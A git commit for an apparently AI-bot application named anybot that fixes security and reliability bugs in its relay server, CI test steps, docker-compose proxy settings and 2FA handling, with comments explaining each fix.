Bug sweep: gates, relay 2FA, Windows input, snapshots, encodings
Permissions and reach - a file leaving a computer passes the same questions as reading it; "looking" shell commands that do more than look ask first - a symlink out of the work/sealed folder counts as outside it (real paths, not just lexical ones); the search walk skips links - web_fetch and skill_install read the public web only: localhost, the LAN and cloud metadata are refused, at every redirect - preview shows a file without running it; browser_upload may ask - vault: logins no longer match across shared suffixes (pages.dev, com.tw, ...); registrable_domain knows public suffixes - axwrite: found elements are retained (use-after-free) Relay - replacing or turning off 2FA needs the current code (rate-limited); new recovery codes only count once enrollment is verified - a removed computer loses its socket and its `call` access - a site name taken by another account answers 409 - RELAY_TRUST_PROXY: the login lock counts the caller's address, not the proxy's (compose files and README) - httpd: half a body is not a request Desktop - sign-in, join and restore work with 2FA on (code field; --serve reads ANYBOT_ACCOUNT_CODE; the setup wizard points to a pairing code) - Windows: text was typed twice; modifiers are held through click, drag and scroll; horizontal scroll; screen control is no longer refused - a recording that hits the limit is transcribed, not thrown away - bot's computer: a new home volume restores the snapshot; a snapshot is read through before the home is wiped; a failed volume removal stops reset/restore - events of a stopped turn no longer land in the next one; each channel message gets a turn of its own - saving a bot's settings keeps what it got meanwhile (three-way merge); a save file that cannot be read is kept - pages in Big5/GBK/Shift_JIS are read in their own encoding (encoding_rs); osascript output past 64 KB no longer stalls - pick_tab keeps a job's own non-http tab; pictures larger than the texture limit are fitted; the auto-update time field takes typing - skills live in <data>/skills; memories are unnumbered in the prompt; the phone may skillify and skill_install CI - the test step fails when the tests fail (it piped into tail) Tests: anybot 268 passed, 27 ignored; relay 16 passed; clippy unchanged. Not run: Windows on a real machine (win.rs type-checked alone), the Docker paths of the bot's computer, the live accessibility writes. Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
parent
cf1d4d618c
commit
a514b33fb3
|
|
@ -26,7 +26,11 @@ jobs:
|
||||||
- name: Build
|
- name: Build
|
||||||
run: cargo build --bin anybot
|
run: cargo build --bin anybot
|
||||||
- name: Test
|
- name: Test
|
||||||
run: cargo test --bin anybot -- --skip live 2>&1 | tail -5
|
# The step fails when a test fails (piped straight into `tail`, its result was
|
||||||
|
# tail's: always a pass). The end of the log is shown either way.
|
||||||
|
run: |
|
||||||
|
cargo test --bin anybot -- --skip live > "${RUNNER_TEMP:-/tmp}/test.log" 2>&1 || { tail -n 80 "${RUNNER_TEMP:-/tmp}/test.log"; exit 1; }
|
||||||
|
tail -n 5 "${RUNNER_TEMP:-/tmp}/test.log"
|
||||||
- name: Clippy (report only)
|
- name: Clippy (report only)
|
||||||
run: cargo clippy --bin anybot 2>&1 | tail -30
|
run: cargo clippy --bin anybot 2>&1 | tail -30
|
||||||
- name: Relay build and test
|
- name: Relay build and test
|
||||||
|
|
|
||||||
|
|
@ -25,7 +25,10 @@ jobs:
|
||||||
cargo build --release --bin anybot
|
cargo build --release --bin anybot
|
||||||
cd relay && cargo build --release
|
cd relay && cargo build --release
|
||||||
- name: Test
|
- name: Test
|
||||||
run: cargo test --release --bin anybot -- --skip live 2>&1 | tail -3
|
# A failing test stops the release (piped straight into `tail`, it never did).
|
||||||
|
run: |
|
||||||
|
cargo test --release --bin anybot -- --skip live > "${RUNNER_TEMP:-/tmp}/test.log" 2>&1 || { tail -n 80 "${RUNNER_TEMP:-/tmp}/test.log"; exit 1; }
|
||||||
|
tail -n 3 "${RUNNER_TEMP:-/tmp}/test.log"
|
||||||
- name: Package
|
- name: Package
|
||||||
run: sh deploy/ci/package-linux.sh "${GITHUB_REF_NAME#v}"
|
run: sh deploy/ci/package-linux.sh "${GITHUB_REF_NAME#v}"
|
||||||
- name: Upload
|
- name: Upload
|
||||||
|
|
|
||||||
|
|
@ -349,6 +349,7 @@ dependencies = [
|
||||||
"des",
|
"des",
|
||||||
"dirs",
|
"dirs",
|
||||||
"eframe",
|
"eframe",
|
||||||
|
"encoding_rs",
|
||||||
"flate2",
|
"flate2",
|
||||||
"futures-lite",
|
"futures-lite",
|
||||||
"hayro",
|
"hayro",
|
||||||
|
|
|
||||||
|
|
@ -14,6 +14,8 @@ path = "src/main.rs"
|
||||||
zhconv = "0.4"
|
zhconv = "0.4"
|
||||||
eframe = "0.37"
|
eframe = "0.37"
|
||||||
ureq = { version = "3", features = ["json"] }
|
ureq = { version = "3", features = ["json"] }
|
||||||
|
# Web pages that are not UTF-8 (Big5, GBK, Shift_JIS…), read as what they say they are.
|
||||||
|
encoding_rs = "0.8"
|
||||||
# 長連線 to the account server (WebSocket over the same TLS ureq uses), and compressing what goes over it.
|
# 長連線 to the account server (WebSocket over the same TLS ureq uses), and compressing what goes over it.
|
||||||
rustls = { version = "0.23", default-features = false, features = ["ring", "std", "tls12", "logging"] }
|
rustls = { version = "0.23", default-features = false, features = ["ring", "std", "tls12", "logging"] }
|
||||||
# Which certificates the account server may show: the public ones (built in), plus the ones this
|
# Which certificates the account server may show: the public ones (built in), plus the ones this
|
||||||
|
|
|
||||||
|
|
@ -24,6 +24,10 @@ services:
|
||||||
# Your public address (for the links of sites the bots publish), e.g. https://anybot.example.com
|
# Your public address (for the links of sites the bots publish), e.g. https://anybot.example.com
|
||||||
ANYBOT_RELAY_PUBLIC_URL: "${ANYBOT_RELAY_PUBLIC_URL:-}"
|
ANYBOT_RELAY_PUBLIC_URL: "${ANYBOT_RELAY_PUBLIC_URL:-}"
|
||||||
ANYBOT_RELAY_INVITE: "${ANYBOT_RELAY_INVITE:-}"
|
ANYBOT_RELAY_INVITE: "${ANYBOT_RELAY_INVITE:-}"
|
||||||
|
# Caddy (or `tailscale serve`) is in front: the caller's address is the one it reports.
|
||||||
|
# Without this every login attempt counts as coming from the proxy, and a few wrong
|
||||||
|
# passwords from anyone lock that account for everyone.
|
||||||
|
RELAY_TRUST_PROXY: "1"
|
||||||
volumes:
|
volumes:
|
||||||
- relay-data:/data
|
- relay-data:/data
|
||||||
caddy:
|
caddy:
|
||||||
|
|
|
||||||
|
|
@ -14,8 +14,14 @@ cargo build --release 2>&1 | grep -E "^(error|warning)" -A7 || true
|
||||||
Xvfb :99 -screen 0 1400x900x24 >/dev/null 2>&1 &
|
Xvfb :99 -screen 0 1400x900x24 >/dev/null 2>&1 &
|
||||||
export DISPLAY=:99 LANG=zh_TW.UTF-8
|
export DISPLAY=:99 LANG=zh_TW.UTF-8
|
||||||
sleep 1
|
sleep 1
|
||||||
cargo test --release 2>&1 | grep -E "test result|FAILED|panicked"
|
# (A failing test stops here: piped straight into grep, the result was the one grep gave.)
|
||||||
cargo test --release x11_live -- --ignored 2>&1 | grep -E "test result|panicked"
|
run_tests() {
|
||||||
|
cargo test --release "$@" >/tmp/anybot-test.log 2>&1 && rc=0 || rc=$?
|
||||||
|
grep -E "test result|FAILED|panicked" /tmp/anybot-test.log || true
|
||||||
|
return $rc
|
||||||
|
}
|
||||||
|
run_tests
|
||||||
|
run_tests x11_live -- --ignored
|
||||||
useradd -m t 2>/dev/null; chmod 777 /out
|
useradd -m t 2>/dev/null; chmod 777 /out
|
||||||
runuser -u t -- env CARGO_TARGET_DIR=/target HOME=/home/t sh deploy/linux/dev/wayland_live.sh 2>&1 | sed -n "/--- wev heard/,\$p"
|
runuser -u t -- env CARGO_TARGET_DIR=/target HOME=/home/t sh deploy/linux/dev/wayland_live.sh 2>&1 | sed -n "/--- wev heard/,\$p"
|
||||||
for v in chat computers general; do
|
for v in chat computers general; do
|
||||||
|
|
|
||||||
|
|
@ -24,6 +24,10 @@ services:
|
||||||
# Your public address (for the links of sites the bots publish), e.g. https://anybot.example.com
|
# Your public address (for the links of sites the bots publish), e.g. https://anybot.example.com
|
||||||
ANYBOT_RELAY_PUBLIC_URL: "${ANYBOT_RELAY_PUBLIC_URL:-}"
|
ANYBOT_RELAY_PUBLIC_URL: "${ANYBOT_RELAY_PUBLIC_URL:-}"
|
||||||
ANYBOT_RELAY_INVITE: "${ANYBOT_RELAY_INVITE:-}"
|
ANYBOT_RELAY_INVITE: "${ANYBOT_RELAY_INVITE:-}"
|
||||||
|
# Caddy (or `tailscale serve`) is in front: the caller's address is the one it reports.
|
||||||
|
# Without this every login attempt counts as coming from the proxy, and a few wrong
|
||||||
|
# passwords from anyone lock that account for everyone.
|
||||||
|
RELAY_TRUST_PROXY: "1"
|
||||||
volumes:
|
volumes:
|
||||||
- relay-data:/data
|
- relay-data:/data
|
||||||
caddy:
|
caddy:
|
||||||
|
|
|
||||||
|
|
@ -53,6 +53,7 @@ cd relay && cargo build --release
|
||||||
| `ANYBOT_RELAY_INVITE` | 第二個以後的帳號要填的邀請碼。空白表示不開放註冊 |
|
| `ANYBOT_RELAY_INVITE` | 第二個以後的帳號要填的邀請碼。空白表示不開放註冊 |
|
||||||
| `ANYBOT_RELAY_CONTACT` | 推播服務需要的聯絡方式,例如 `mailto:你@你的網域` 或 `https://你的網域` |
|
| `ANYBOT_RELAY_CONTACT` | 推播服務需要的聯絡方式,例如 `mailto:你@你的網域` 或 `https://你的網域` |
|
||||||
| `ANYBOT_RELAY_PUBLIC_URL` | 對外的網址,例如 `https://anybot.你的網域`。Bot 發布網站後,會拿這個組成網址告訴你 |
|
| `ANYBOT_RELAY_PUBLIC_URL` | 對外的網址,例如 `https://anybot.你的網域`。Bot 發布網站後,會拿這個組成網址告訴你 |
|
||||||
|
| `RELAY_TRUST_PROXY` | 前面有反向代理(Caddy、nginx、`tailscale serve`)時設成 `1`:登入失敗的鎖定會依代理回報的來源位址計算。沒設的話,所有人都算成代理的位址,任何人連續輸錯密碼就會把那個帳號鎖住。只有在外部連不到這個連接埠、只能經過代理時才設(附的 `docker-compose.yml` 已經設好) |
|
||||||
| `PORT` | 連接埠,預設 8080,也可以用 `--port` 指定 |
|
| `PORT` | 連接埠,預設 8080,也可以用 `--port` 指定 |
|
||||||
|
|
||||||
## 家裡的電腦加 Tailscale(不用網域)
|
## 家裡的電腦加 Tailscale(不用網域)
|
||||||
|
|
|
||||||
|
|
@ -10,6 +10,10 @@ services:
|
||||||
# Your public address (for the links of sites the bots publish), e.g. https://anybot.example.com
|
# Your public address (for the links of sites the bots publish), e.g. https://anybot.example.com
|
||||||
ANYBOT_RELAY_PUBLIC_URL: "${ANYBOT_RELAY_PUBLIC_URL:-}"
|
ANYBOT_RELAY_PUBLIC_URL: "${ANYBOT_RELAY_PUBLIC_URL:-}"
|
||||||
ANYBOT_RELAY_INVITE: ""
|
ANYBOT_RELAY_INVITE: ""
|
||||||
|
# Caddy is in front (nothing else reaches this container): the caller's address is the one
|
||||||
|
# Caddy reports. Without this every login attempt counts as coming from Caddy, and a few
|
||||||
|
# wrong passwords from anyone lock that account for everyone.
|
||||||
|
RELAY_TRUST_PROXY: "1"
|
||||||
volumes:
|
volumes:
|
||||||
- relay-data:/data
|
- relay-data:/data
|
||||||
caddy:
|
caddy:
|
||||||
|
|
|
||||||
|
|
@ -58,6 +58,10 @@ const ONLINE_SECS: u64 = 60;
|
||||||
/// Sessions last this long without use.
|
/// Sessions last this long without use.
|
||||||
const SESSION_DAYS: i64 = 90;
|
const SESSION_DAYS: i64 = 90;
|
||||||
const MAX_FAILS: u32 = 8;
|
const MAX_FAILS: u32 = 8;
|
||||||
|
/// Wrong-password counters kept at once (each a short key: an address and at most
|
||||||
|
/// FAIL_NAME_CHARS of the name).
|
||||||
|
const MAX_FAIL_KEYS: usize = 50_000;
|
||||||
|
const FAIL_NAME_CHARS: usize = 64;
|
||||||
|
|
||||||
#[derive(Clone, Serialize, Deserialize, Default)]
|
#[derive(Clone, Serialize, Deserialize, Default)]
|
||||||
struct User {
|
struct User {
|
||||||
|
|
@ -72,6 +76,10 @@ struct User {
|
||||||
/// sha256 of each unused recovery code (8 are handed out once, at enabling).
|
/// sha256 of each unused recovery code (8 are handed out once, at enabling).
|
||||||
#[serde(default)]
|
#[serde(default)]
|
||||||
recover: Vec<String>,
|
recover: Vec<String>,
|
||||||
|
/// The recovery codes handed out with `totp_pending`: they take the place of `recover`
|
||||||
|
/// only when the new secret is proven.
|
||||||
|
#[serde(default)]
|
||||||
|
recover_pending: Vec<String>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Clone, Serialize, Deserialize, Default)]
|
#[derive(Clone, Serialize, Deserialize, Default)]
|
||||||
|
|
@ -130,6 +138,9 @@ struct Data {
|
||||||
/// Phones that turned notifications on.
|
/// Phones that turned notifications on.
|
||||||
#[serde(default)]
|
#[serde(default)]
|
||||||
subs: Vec<Sub>,
|
subs: Vec<Sub>,
|
||||||
|
/// 發布網站: each published site's folder name → the account it belongs to.
|
||||||
|
#[serde(default)]
|
||||||
|
sites: HashMap<String, String>,
|
||||||
}
|
}
|
||||||
|
|
||||||
const SW: &str = r#"self.addEventListener("install", () => self.skipWaiting());
|
const SW: &str = r#"self.addEventListener("install", () => self.skipWaiting());
|
||||||
|
|
@ -301,6 +312,19 @@ impl Relay {
|
||||||
d.hosts.iter().find(|x| x.token_hash == h).cloned()
|
d.hosts.iter().find(|x| x.token_hash == h).cloned()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// A host whose registration is gone: its open connection is told so and let go.
|
||||||
|
fn hang_up(&self, id: &str) {
|
||||||
|
if let Some(s) = self.sockets.lock().unwrap().remove(id) {
|
||||||
|
let _ = s.tx.send(wire::pack(&json!({"t": "bye"}), &[]));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// This host is still one of an account's computers (its key was not replaced or removed
|
||||||
|
/// since it connected).
|
||||||
|
fn still_registered(&self, h: &Host) -> bool {
|
||||||
|
self.data.lock().unwrap().hosts.iter().any(|x| x.id == h.id && x.token_hash == h.token_hash)
|
||||||
|
}
|
||||||
|
|
||||||
fn online(&self, id: &str) -> bool {
|
fn online(&self, id: &str) -> bool {
|
||||||
self.sockets.lock().unwrap().contains_key(id) || self.seen.lock().unwrap().get(id).map(|t| t.elapsed().as_secs() < ONLINE_SECS).unwrap_or(false)
|
self.sockets.lock().unwrap().contains_key(id) || self.seen.lock().unwrap().get(id).map(|t| t.elapsed().as_secs() < ONLINE_SECS).unwrap_or(false)
|
||||||
}
|
}
|
||||||
|
|
@ -312,6 +336,15 @@ impl Relay {
|
||||||
|
|
||||||
fn failed(&self, key: &str) {
|
fn failed(&self, key: &str) {
|
||||||
let mut f = self.fails.lock().unwrap();
|
let mut f = self.fails.lock().unwrap();
|
||||||
|
// Anyone can fail, under any name, without signing in: the table lets go of what is
|
||||||
|
// past its five minutes, and past the cap of everything (it only grew; with names of
|
||||||
|
// any length it was this server's memory for the asking).
|
||||||
|
if f.len() >= MAX_FAIL_KEYS {
|
||||||
|
f.retain(|_, (_, t)| t.elapsed() < Duration::from_secs(300));
|
||||||
|
if f.len() >= MAX_FAIL_KEYS {
|
||||||
|
f.clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
let e = f.entry(key.to_string()).or_insert((0, Instant::now()));
|
let e = f.entry(key.to_string()).or_insert((0, Instant::now()));
|
||||||
if e.1.elapsed() > Duration::from_secs(300) {
|
if e.1.elapsed() > Duration::from_secs(300) {
|
||||||
*e = (0, Instant::now());
|
*e = (0, Instant::now());
|
||||||
|
|
@ -519,6 +552,10 @@ impl Relay {
|
||||||
}
|
}
|
||||||
if marked.elapsed().as_secs() >= 10 {
|
if marked.elapsed().as_secs() >= 10 {
|
||||||
marked = Instant::now();
|
marked = Instant::now();
|
||||||
|
// Taken off the account while connected: the connection ends here.
|
||||||
|
if !self.still_registered(&h) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
self.seen.lock().unwrap().insert(h.id.clone(), Instant::now());
|
self.seen.lock().unwrap().insert(h.id.clone(), Instant::now());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
@ -582,7 +619,9 @@ impl Relay {
|
||||||
let _ = tx.send(wire::pack(&json!({"t": "ret", "id": id, "status": a.status, "ctype": a.ctype}), &a.body));
|
let _ = tx.send(wire::pack(&json!({"t": "ret", "id": id, "status": a.status, "ctype": a.ctype}), &a.body));
|
||||||
return;
|
return;
|
||||||
};
|
};
|
||||||
let same = self.data.lock().unwrap().hosts.iter().any(|x| x.id == to && x.user == h.user);
|
// (The asker too must still be one of the account's computers: `h` is who it
|
||||||
|
// was when it connected.)
|
||||||
|
let same = self.still_registered(h) && self.data.lock().unwrap().hosts.iter().any(|x| x.id == to && x.user == h.user);
|
||||||
if !same || to == h.id {
|
if !same || to == h.id {
|
||||||
let a = Answer::error(403, "不是同一個帳號的電腦");
|
let a = Answer::error(403, "不是同一個帳號的電腦");
|
||||||
let _ = tx.send(wire::pack(&json!({"t": "ret", "id": id, "status": a.status, "ctype": a.ctype}), &a.body));
|
let _ = tx.send(wire::pack(&json!({"t": "ret", "id": id, "status": a.status, "ctype": a.ctype}), &a.body));
|
||||||
|
|
@ -748,7 +787,9 @@ impl Relay {
|
||||||
Resp::json(&json!({"code": code, "expires_in": PAIR_SECS}))
|
Resp::json(&json!({"code": code, "expires_in": PAIR_SECS}))
|
||||||
}
|
}
|
||||||
("POST", ["relay", "pair", "claim"]) => {
|
("POST", ["relay", "pair", "claim"]) => {
|
||||||
let key = format!("pair:{}", req.peer);
|
// (The real peer, like the login: behind the proxy every claim came from the
|
||||||
|
// proxy's address, and eight wrong codes from anyone stopped pairing for all.)
|
||||||
|
let key = format!("pair:{}", Self::peer_ip(&req));
|
||||||
if self.too_many_fails(&key) {
|
if self.too_many_fails(&key) {
|
||||||
return Resp::error(429, "配對碼錯太多次,請 5 分鐘後再試");
|
return Resp::error(429, "配對碼錯太多次,請 5 分鐘後再試");
|
||||||
}
|
}
|
||||||
|
|
@ -770,9 +811,18 @@ impl Relay {
|
||||||
}
|
}
|
||||||
("POST", ["relay", "hosts", id, "remove"]) => {
|
("POST", ["relay", "hosts", id, "remove"]) => {
|
||||||
let Some(user) = self.session(&req) else { return Resp::error(401, "請先登入") };
|
let Some(user) = self.session(&req) else { return Resp::error(401, "請先登入") };
|
||||||
|
let removed = {
|
||||||
let mut d = self.data.lock().unwrap();
|
let mut d = self.data.lock().unwrap();
|
||||||
|
let before = d.hosts.len();
|
||||||
d.hosts.retain(|x| !(x.user == user && x.id == *id));
|
d.hosts.retain(|x| !(x.user == user && x.id == *id));
|
||||||
self.save(&d);
|
self.save(&d);
|
||||||
|
before != d.hosts.len()
|
||||||
|
};
|
||||||
|
// Its open connection goes with it (a computer taken off the list — lost,
|
||||||
|
// sold — stayed connected, and kept asking the account's other computers).
|
||||||
|
if removed {
|
||||||
|
self.hang_up(id);
|
||||||
|
}
|
||||||
Resp::json(&json!({"ok": true}))
|
Resp::json(&json!({"ok": true}))
|
||||||
}
|
}
|
||||||
("GET", ["relay", "host", "next"]) => {
|
("GET", ["relay", "host", "next"]) => {
|
||||||
|
|
@ -839,8 +889,27 @@ impl Relay {
|
||||||
let site = format!("{}-{name}", h.user.replace(|c: char| !c.is_ascii_alphanumeric(), "-"));
|
let site = format!("{}-{name}", h.user.replace(|c: char| !c.is_ascii_alphanumeric(), "-"));
|
||||||
let dir = self.dir.join("sites").join(&site);
|
let dir = self.dir.join("sites").join(&site);
|
||||||
let v = req.json();
|
let v = req.json();
|
||||||
|
let remove = v["remove"].as_bool() == Some(true);
|
||||||
|
// Two accounts can come to the same folder name (「a.b」 and 「a-b」; 「a」 with
|
||||||
|
// the site 「b-c」 and 「a-b」 with 「c」): the folder is the first one's, and the
|
||||||
|
// other is told — it used to replace (or delete) the first one's pages.
|
||||||
|
{
|
||||||
|
let mut d = self.data.lock().unwrap();
|
||||||
|
match d.sites.get(&site) {
|
||||||
|
Some(owner) if *owner != h.user => return Resp::error(409, "這個網站名稱和別的帳號的網站撞名了,請換一個名稱"),
|
||||||
|
Some(_) if remove => {
|
||||||
|
d.sites.remove(&site);
|
||||||
|
self.save(&d);
|
||||||
|
}
|
||||||
|
None if !remove => {
|
||||||
|
d.sites.insert(site.clone(), h.user.clone());
|
||||||
|
self.save(&d);
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
let _ = std::fs::remove_dir_all(&dir);
|
let _ = std::fs::remove_dir_all(&dir);
|
||||||
if v["remove"].as_bool() == Some(true) {
|
if remove {
|
||||||
return Resp::json(&json!({"ok": true}));
|
return Resp::json(&json!({"ok": true}));
|
||||||
}
|
}
|
||||||
let mut n = 0;
|
let mut n = 0;
|
||||||
|
|
@ -907,9 +976,7 @@ impl Relay {
|
||||||
self.save(&d);
|
self.save(&d);
|
||||||
}
|
}
|
||||||
// Its open connection is closed, so it hears "the key is gone" at once.
|
// Its open connection is closed, so it hears "the key is gone" at once.
|
||||||
if let Some(s) = self.sockets.lock().unwrap().remove(&h.id) {
|
self.hang_up(&h.id);
|
||||||
let _ = s.tx.send(wire::pack(&json!({"t": "bye"}), &[]));
|
|
||||||
}
|
|
||||||
Resp::json(&json!({"ok": true}))
|
Resp::json(&json!({"ok": true}))
|
||||||
}
|
}
|
||||||
("PUT", ["relay", "backup"]) => {
|
("PUT", ["relay", "backup"]) => {
|
||||||
|
|
@ -1014,11 +1081,8 @@ impl Relay {
|
||||||
// Rate-limit by the real peer. A client writes its own first X-Forwarded-For entry, so
|
// Rate-limit by the real peer. A client writes its own first X-Forwarded-For entry, so
|
||||||
// taking the first value lets anyone reset the counter by changing the header. Only when
|
// taking the first value lets anyone reset the counter by changing the header. Only when
|
||||||
// RELAY_TRUST_PROXY=1 (behind a reverse proxy) use the proxy's appended (last) entry.
|
// RELAY_TRUST_PROXY=1 (behind a reverse proxy) use the proxy's appended (last) entry.
|
||||||
let ip = match (std::env::var("RELAY_TRUST_PROXY").is_ok(), req.header("x-forwarded-for")) {
|
let ip = Self::peer_ip(req);
|
||||||
(true, xff) if !xff.is_empty() => xff.rsplit(',').next().unwrap_or(xff).trim().to_string(),
|
let key = format!("{ip}|{}", user.chars().take(FAIL_NAME_CHARS).collect::<String>());
|
||||||
_ => req.peer.clone(),
|
|
||||||
};
|
|
||||||
let key = format!("{ip}|{user}");
|
|
||||||
if self.too_many_fails(&key) {
|
if self.too_many_fails(&key) {
|
||||||
return Resp::error(429, "密碼錯太多次,請 5 分鐘後再試");
|
return Resp::error(429, "密碼錯太多次,請 5 分鐘後再試");
|
||||||
}
|
}
|
||||||
|
|
@ -1056,7 +1120,8 @@ impl Relay {
|
||||||
|
|
||||||
fn peer_ip(req: &Req) -> String {
|
fn peer_ip(req: &Req) -> String {
|
||||||
match (std::env::var("RELAY_TRUST_PROXY").is_ok(), req.header("x-forwarded-for")) {
|
match (std::env::var("RELAY_TRUST_PROXY").is_ok(), req.header("x-forwarded-for")) {
|
||||||
(true, xff) if !xff.is_empty() => xff.rsplit(',').next().unwrap_or(xff).trim().to_string(),
|
// (Kept short: it is a key in the table of failures.)
|
||||||
|
(true, xff) if !xff.is_empty() => xff.rsplit(',').next().unwrap_or(xff).trim().chars().take(64).collect(),
|
||||||
_ => req.peer.clone(),
|
_ => req.peer.clone(),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
@ -1076,7 +1141,7 @@ impl Relay {
|
||||||
if made.elapsed() > Duration::from_secs(300) {
|
if made.elapsed() > Duration::from_secs(300) {
|
||||||
return Resp::error(400, "這次登入已過期,請重新輸入密碼");
|
return Resp::error(400, "這次登入已過期,請重新輸入密碼");
|
||||||
}
|
}
|
||||||
let key = format!("2fa|{}|{user}", Self::peer_ip(req));
|
let key = format!("2fa|{}|{}", Self::peer_ip(req), user.chars().take(FAIL_NAME_CHARS).collect::<String>());
|
||||||
if self.too_many_fails(&key) {
|
if self.too_many_fails(&key) {
|
||||||
return Resp::error(429, "驗證碼錯太多次,請 5 分鐘後再試");
|
return Resp::error(429, "驗證碼錯太多次,請 5 分鐘後再試");
|
||||||
}
|
}
|
||||||
|
|
@ -1115,11 +1180,31 @@ impl Relay {
|
||||||
}
|
}
|
||||||
if let Some(u) = d.users.iter_mut().find(|u| u.name == user) {
|
if let Some(u) = d.users.iter_mut().find(|u| u.name == user) {
|
||||||
u.totp = std::mem::take(&mut u.totp_pending);
|
u.totp = std::mem::take(&mut u.totp_pending);
|
||||||
|
// The codes that came with this secret (an enrollment started by an older server
|
||||||
|
// put them in `recover` already).
|
||||||
|
if !u.recover_pending.is_empty() {
|
||||||
|
u.recover = std::mem::take(&mut u.recover_pending);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
self.save(&d);
|
self.save(&d);
|
||||||
Resp::json(&json!({"ok": true}))
|
Resp::json(&json!({"ok": true}))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// With 2FA on, changing or removing it takes the code of the authenticator that is on —
|
||||||
|
/// a session alone must not do it — and guessing that code is counted like a login's.
|
||||||
|
/// None: go on. Some: the refusal.
|
||||||
|
fn second_factor_proven(&self, user: &str, secret: &str, code: &str) -> Option<Resp> {
|
||||||
|
let key = format!("2fa-change|{}", user.chars().take(FAIL_NAME_CHARS).collect::<String>());
|
||||||
|
if self.too_many_fails(&key) {
|
||||||
|
return Some(Resp::error(429, "驗證碼錯太多次,請 5 分鐘後再試"));
|
||||||
|
}
|
||||||
|
if httpd::totp_check(secret, code.trim()) {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
self.failed(&key);
|
||||||
|
Some(Resp::error(401, "驗證碼不對:輸入驗證器 App 上現在的那個六位數"))
|
||||||
|
}
|
||||||
|
|
||||||
/// Start 2FA: a new secret (the app scans the QR) and eight recovery codes, shown once,
|
/// Start 2FA: a new secret (the app scans the QR) and eight recovery codes, shown once,
|
||||||
/// stored hashed. 2FA is not on until verify_2fa has seen a real code.
|
/// stored hashed. 2FA is not on until verify_2fa has seen a real code.
|
||||||
fn enroll_2fa(&self, req: &Req) -> Resp {
|
fn enroll_2fa(&self, req: &Req) -> Resp {
|
||||||
|
|
@ -1128,8 +1213,21 @@ impl Relay {
|
||||||
let codes: Vec<String> = (0..8).map(|_| httpd::random_hex(5)).collect();
|
let codes: Vec<String> = (0..8).map(|_| httpd::random_hex(5)).collect();
|
||||||
let mut d = self.data.lock().unwrap();
|
let mut d = self.data.lock().unwrap();
|
||||||
let Some(u) = d.users.iter_mut().find(|u| u.name == user) else { return Resp::error(404, "帳號不存在") };
|
let Some(u) = d.users.iter_mut().find(|u| u.name == user) else { return Resp::error(404, "帳號不存在") };
|
||||||
|
// Already on: a new secret is a new second factor, so it takes the present one's code.
|
||||||
|
// (A session by itself — a phone left unlocked, a stolen token — could start over,
|
||||||
|
// prove its own new secret, and the account's owner was locked out of it. Starting
|
||||||
|
// over also threw the recovery codes away before anything was proven.)
|
||||||
|
if !u.totp.is_empty() {
|
||||||
|
let (current, code) = (u.totp.clone(), req.json()["code"].as_str().unwrap_or("").to_string());
|
||||||
|
drop(d);
|
||||||
|
if let Some(no) = self.second_factor_proven(&user, ¤t, &code) {
|
||||||
|
return no;
|
||||||
|
}
|
||||||
|
d = self.data.lock().unwrap();
|
||||||
|
}
|
||||||
|
let Some(u) = d.users.iter_mut().find(|u| u.name == user) else { return Resp::error(404, "帳號不存在") };
|
||||||
u.totp_pending = secret.clone();
|
u.totp_pending = secret.clone();
|
||||||
u.recover = codes.iter().map(|c| httpd::sha256_hex(c)).collect();
|
u.recover_pending = codes.iter().map(|c| httpd::sha256_hex(c)).collect();
|
||||||
self.save(&d);
|
self.save(&d);
|
||||||
Resp::json(&json!({"secret": secret, "uri": httpd::totp_uri(&secret, &user), "recovery_codes": codes}))
|
Resp::json(&json!({"secret": secret, "uri": httpd::totp_uri(&secret, &user), "recovery_codes": codes}))
|
||||||
}
|
}
|
||||||
|
|
@ -1143,12 +1241,17 @@ impl Relay {
|
||||||
if u.totp.is_empty() {
|
if u.totp.is_empty() {
|
||||||
return Resp::json(&json!({"ok": true}));
|
return Resp::json(&json!({"ok": true}));
|
||||||
}
|
}
|
||||||
if !httpd::totp_check(&u.totp, &code) {
|
let current = u.totp.clone();
|
||||||
return Resp::error(401, "驗證碼不對");
|
drop(d);
|
||||||
|
if let Some(no) = self.second_factor_proven(&user, ¤t, &code) {
|
||||||
|
return no;
|
||||||
}
|
}
|
||||||
|
let mut d = self.data.lock().unwrap();
|
||||||
|
let Some(u) = d.users.iter_mut().find(|u| u.name == user) else { return Resp::error(404, "帳號不存在") };
|
||||||
u.totp.clear();
|
u.totp.clear();
|
||||||
u.totp_pending.clear();
|
u.totp_pending.clear();
|
||||||
u.recover.clear();
|
u.recover.clear();
|
||||||
|
u.recover_pending.clear();
|
||||||
self.save(&d);
|
self.save(&d);
|
||||||
Resp::json(&json!({"ok": true}))
|
Resp::json(&json!({"ok": true}))
|
||||||
}
|
}
|
||||||
|
|
@ -1343,6 +1446,14 @@ mod tests {
|
||||||
assert!(v["uri"].as_str().unwrap().starts_with("otpauth://totp/AnyBot:d2?secret="));
|
assert!(v["uri"].as_str().unwrap().starts_with("otpauth://totp/AnyBot:d2?secret="));
|
||||||
assert_eq!(post(port, "/relay/2fa/verify", &s, json!({"code": "000000"})).0, 401);
|
assert_eq!(post(port, "/relay/2fa/verify", &s, json!({"code": "000000"})).0, 401);
|
||||||
assert_eq!(post(port, "/relay/2fa/verify", &s, json!({"code": httpd::totp_code(&secret, step_now())})).0, 200);
|
assert_eq!(post(port, "/relay/2fa/verify", &s, json!({"code": httpd::totp_code(&secret, step_now())})).0, 200);
|
||||||
|
// On: a session alone can't put another secret in its place (nor throw the recovery
|
||||||
|
// codes away by trying) — that takes the code of the one that is on.
|
||||||
|
assert_eq!(post(port, "/relay/2fa/enroll", &s, json!({})).0, 401);
|
||||||
|
assert_eq!(post(port, "/relay/2fa/enroll", &s, json!({"code": "000000"})).0, 401);
|
||||||
|
let (st, again) = post(port, "/relay/2fa/enroll", &s, json!({"code": httpd::totp_code(&secret, step_now())}));
|
||||||
|
assert_eq!(st, 200);
|
||||||
|
